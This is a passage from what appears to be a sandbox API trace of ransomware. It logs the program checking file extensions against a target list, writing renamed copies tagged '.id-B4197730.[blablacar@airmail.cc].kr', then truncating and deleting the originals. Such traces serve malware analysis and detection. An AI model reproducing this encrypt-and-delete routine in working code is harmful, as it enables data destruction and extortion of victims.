lpString2="a.rtf") returned -1 [0082.289] lstrlenW (lpString=".ppt") returned 4 [0082.289] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0082.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.289] lstrlenW (lpString=".zip") returned 4 [0082.289] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0082.289] lstrlenW (lpString=".rar") returned 4 [0082.289] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0082.289] lstrlenW (lpString=".bz2") returned 4 [0082.289] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0082.289] lstrlenW (lpString=".7z") returned 3 [0082.289] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0082.289] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.290] lstrlenW (lpString=".dbf") returned 4 [0082.290] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0082.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.290] lstrlenW (lpString=".1cd") returned 4 [0082.290] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0082.290] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0082.290] lstrlenW (lpString=".jpg") returned 4 [0082.290] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0082.290] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0082.290] lstrlenW (lpString="LocalizedData.xml") returned 17 [0082.290] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0082.290] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=86284) returned 1 [0082.290] CloseHandle (hObject=0x2ec) returned 1 [0082.290] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0082.291] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0082.291] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0082.291] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0082.291] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0082.291] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0082.291] GetLastError () returned 0x0 [0082.291] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x1510c, lpOverlapped=0x0) returned 1 [0082.296] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x15110, lpOverlapped=0x0) returned 1 [0082.298] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0082.298] WriteFile (in: hFile=0x2d0, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xf6, lpOverlapped=0x0) returned 1 [0082.298] SetEndOfFile (hFile=0x2d0) returned 1 [0082.298] CloseHandle (hObject=0x2d0) returned 1 [0082.301] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0082.301] SetEndOfFile (hFile=0x2ec) returned 1 [0082.302] CloseHandle (hObject=0x2ec) returned 1 [0082.303] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0082.303] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0082.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.304] lstrlenW (lpString=".doc") returned 4 [0082.304] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.304] lstrlenW (lpString=".docx") returned 5 [0082.304] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0082.304] lstrlenW (lpString=".pdf") returned 4 [0082.304] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.304] lstrlenW (lpString=".xls") returned 4 [0082.304] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.304] lstrlenW (lpString=".xlsx") returned 5 [0082.304] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0082.304] lstrlenW (lpString=".ppt") returned 4 [0082.304] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.304] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.304] lstrlenW (lpString=".zip") returned 4 [0082.305] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.305] lstrlenW (lpString=".rar") returned 4 [0082.305] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.305] lstrlenW (lpString=".bz2") returned 4 [0082.305] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.305] lstrlenW (lpString=".7z") returned 3 [0082.305] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.305] lstrlenW (lpString=".dbf") returned 4 [0082.305] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.305] lstrlenW (lpString=".1cd") returned 4 [0082.305] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.305] lstrlenW (lpString=".jpg") returned 4 [0082.305] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.305] lstrlenW (lpString=".doc") returned 4 [0082.305] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.305] lstrlenW (lpString=".docx") returned 5 [0082.305] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0082.305] lstrlenW (lpString=".pdf") returned 4 [0082.305] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.305] lstrlenW (lpString=".xls") returned 4 [0082.305] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.305] lstrlenW (lpString=".xlsx") returned 5 [0082.305] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0082.305] lstrlenW (lpString=".ppt") returned 4 [0082.305] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.305] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.305] lstrlenW (lpString=".zip") returned 4 [0082.305] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.306] lstrlenW (lpString=".rar") returned 4 [0082.306] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.306] lstrlenW (lpString=".bz2") returned 4 [0082.306] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.306] lstrlenW (lpString=".7z") returned 3 [0082.306] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.306] lstrlenW (lpString=".dbf") returned 4 [0082.306] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.306] lstrlenW (lpString=".1cd") returned 4 [0082.306] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.306] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0082.306] lstrlenW (lpString=".jpg") returned 4 [0082.306] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.306] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0082.306] lstrlenW (lpString="eula.rtf") returned 8 [0082.306] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0082.306] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=3188) returned 1 [0082.306] CloseHandle (hObject=0x2ec) returned 1 [0082.307] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0082.307] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0082.307] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0082.307] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0082.307] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0082.307] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0084.199] GetLastError () returned 0x0 [0084.199] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xc74, lpOverlapped=0x0) returned 1 [0084.204] WriteFile (in: hFile=0x320, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xc80, lpOverlapped=0x0) returned 1 [0084.205] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0084.205] WriteFile (in: hFile=0x320, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe4, lpOverlapped=0x0) returned 1 [0084.205] SetEndOfFile (hFile=0x320) returned 1 [0084.206] CloseHandle (hObject=0x320) returned 1 [0084.207] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.207] SetEndOfFile (hFile=0x2ec) returned 1 [0084.208] CloseHandle (hObject=0x2ec) returned 1 [0084.208] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.209] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0084.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.209] lstrlenW (lpString=".doc") returned 4 [0084.209] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.209] lstrlenW (lpString=".docx") returned 5 [0084.209] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.209] lstrlenW (lpString=".pdf") returned 4 [0084.209] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.209] lstrlenW (lpString=".xls") returned 4 [0084.209] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0084.209] lstrlenW (lpString=".xlsx") returned 5 [0084.209] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0084.209] lstrlenW (lpString=".ppt") returned 4 [0084.209] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.209] lstrlenW (lpString=".zip") returned 4 [0084.209] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0084.209] lstrlenW (lpString=".rar") returned 4 [0084.210] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.210] lstrlenW (lpString=".bz2") returned 4 [0084.210] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.210] lstrlenW (lpString=".7z") returned 3 [0084.210] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.210] lstrlenW (lpString=".dbf") returned 4 [0084.210] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.210] lstrlenW (lpString=".1cd") returned 4 [0084.210] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.210] lstrlenW (lpString=".jpg") returned 4 [0084.210] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.210] lstrlenW (lpString=".doc") returned 4 [0084.210] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.210] lstrlenW (lpString=".docx") returned 5 [0084.210] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.210] lstrlenW (lpString=".pdf") returned 4 [0084.210] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.210] lstrlenW (lpString=".xls") returned 4 [0084.210] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0084.210] lstrlenW (lpString=".xlsx") returned 5 [0084.210] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0084.210] lstrlenW (lpString=".ppt") returned 4 [0084.210] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.210] lstrlenW (lpString=".zip") returned 4 [0084.210] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0084.211] lstrlenW (lpString=".rar") returned 4 [0084.211] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.211] lstrlenW (lpString=".bz2") returned 4 [0084.211] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.211] lstrlenW (lpString=".7z") returned 3 [0084.211] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.211] lstrlenW (lpString=".dbf") returned 4 [0084.211] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.211] lstrlenW (lpString=".1cd") returned 4 [0084.211] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0084.211] lstrlenW (lpString=".jpg") returned 4 [0084.211] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.211] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0084.211] lstrlenW (lpString="eula.rtf") returned 8 [0084.211] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0084.211] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=4254) returned 1 [0084.211] CloseHandle (hObject=0x2ec) returned 1 [0084.212] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0084.212] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.212] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0084.212] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.212] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.212] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0084.231] GetLastError () returned 0x0 [0084.231] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x109e, lpOverlapped=0x0) returned 1 [0084.235] WriteFile (in: hFile=0x324, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x10a0, lpOverlapped=0x0) returned 1 [0084.237] ReadFile (in: hFile=0x2ec, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0084.237] WriteFile (in: hFile=0x324, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xe4, lpOverlapped=0x0) returned 1 [0084.237] SetEndOfFile (hFile=0x324) returned 1 [0084.237] CloseHandle (hObject=0x324) returned 1 [0084.243] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0084.244] SetEndOfFile (hFile=0x2ec) returned 1 [0084.245] CloseHandle (hObject=0x2ec) returned 1 [0084.245] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.245] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0084.245] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.245] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.245] lstrlenW (lpString=".doc") returned 4 [0084.246] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.246] lstrlenW (lpString=".docx") returned 5 [0084.246] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.246] lstrlenW (lpString=".pdf") returned 4 [0084.246] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.246] lstrlenW (lpString=".xls") returned 4 [0084.246] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0084.246] lstrlenW (lpString=".xlsx") returned 5 [0084.246] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0084.246] lstrlenW (lpString=".ppt") returned 4 [0084.246] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.246] lstrlenW (lpString=".zip") returned 4 [0084.246] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0084.246] lstrlenW (lpString=".rar") returned 4 [0084.246] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.246] lstrlenW (lpString=".bz2") returned 4 [0084.246] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.246] lstrlenW (lpString=".7z") returned 3 [0084.246] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.246] lstrlenW (lpString=".dbf") returned 4 [0084.246] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.246] lstrlenW (lpString=".1cd") returned 4 [0084.246] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.247] lstrlenW (lpString=".jpg") returned 4 [0084.247] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.247] lstrlenW (lpString=".doc") returned 4 [0084.247] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.247] lstrlenW (lpString=".docx") returned 5 [0084.247] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.247] lstrlenW (lpString=".pdf") returned 4 [0084.247] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.247] lstrlenW (lpString=".xls") returned 4 [0084.247] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0084.247] lstrlenW (lpString=".xlsx") returned 5 [0084.247] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0084.247] lstrlenW (lpString=".ppt") returned 4 [0084.247] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.247] lstrlenW (lpString=".zip") returned 4 [0084.247] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0084.247] lstrlenW (lpString=".rar") returned 4 [0084.247] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.247] lstrlenW (lpString=".bz2") returned 4 [0084.247] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.247] lstrlenW (lpString=".7z") returned 3 [0084.247] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.248] lstrlenW (lpString=".dbf") returned 4 [0084.248] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.248] lstrlenW (lpString=".1cd") returned 4 [0084.248] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0084.248] lstrlenW (lpString=".jpg") returned 4 [0084.248] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.248] Sleep (dwMilliseconds=0x64) [0084.520] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0084.520] lstrlenW (lpString="eula.rtf") returned 8 [0084.520] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0084.522] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=3643) returned 1 [0084.522] CloseHandle (hObject=0x328) returned 1 [0084.522] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0084.522] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0084.522] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0084.522] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, 